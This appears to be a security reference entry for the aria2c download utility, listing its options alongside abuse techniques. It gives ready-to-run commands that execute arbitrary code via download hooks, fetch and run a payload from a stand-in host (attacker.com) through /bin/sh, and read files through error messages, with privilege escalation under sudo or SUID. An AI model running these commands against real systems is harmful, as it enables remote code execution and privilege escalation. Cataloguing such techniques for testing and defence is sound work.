Lightweight multi-protocol download utility that can execute commands via hooks and read files.
aria2c {o} {i} {allow-overwrite} {gid} {on-download-error} {on-download-complete} 📎 o 📎 i 📎 allow-overwrite 📎 gid 📎 on-download-error 📎 on-download-complete aria2c {o} {i} {allow-overwrite} {gid} {on-download-error} {on-download-complete}Sandbox: execFile · Timeout: 60s
network.transfer.download security.execution.command security.privilege-escalation.shell system.file.read system.file.write | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
o | file | No | - | Output file path | -o |
i | file | No | - | Input file with URLs | -i |
allow-overwrite | string | No | - | Allow overwrite of existing files | --allow-overwrite |
gid | string | No | - | Set GID for download | --gid |
on-download-error | file | No | - | Command to run on download error | --on-download-error |
on-download-complete | file | No | - | Command to run on download complete | --on-download-complete |
| Type | Description | MIME | Schema | Trust |
|---|---|---|---|---|
network.transfer.file | Downloaded file | - | - | community |
Inputs
network.target.url URL to download from
Outputs
system.file.path Downloaded file
network_trafficfilesystem_writeprocess_spawn Produces
system.file.pathConsumes
network.target.url| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | medium |
| Disk I/O | medium |
Execute a command on download error via hook
echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
aria2c --on-download-error=/path/to/temp-file http://some-invalid-domainExecute a command on download completion via remote payload
aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaaDownload a file remotely
aria2c -o /path/to/output-file http://attacker.com/path/to/input-fileRead file content leaked in error messages
aria2c -i /path/to/input-filearia2c is a lightweight multi-protocol download utility supporting HTTP/HTTPS, FTP, SFTP, BitTorrent, and Metalink. When used with sudo or SUID, it can execute arbitrary commands via download hooks and read files through error messages.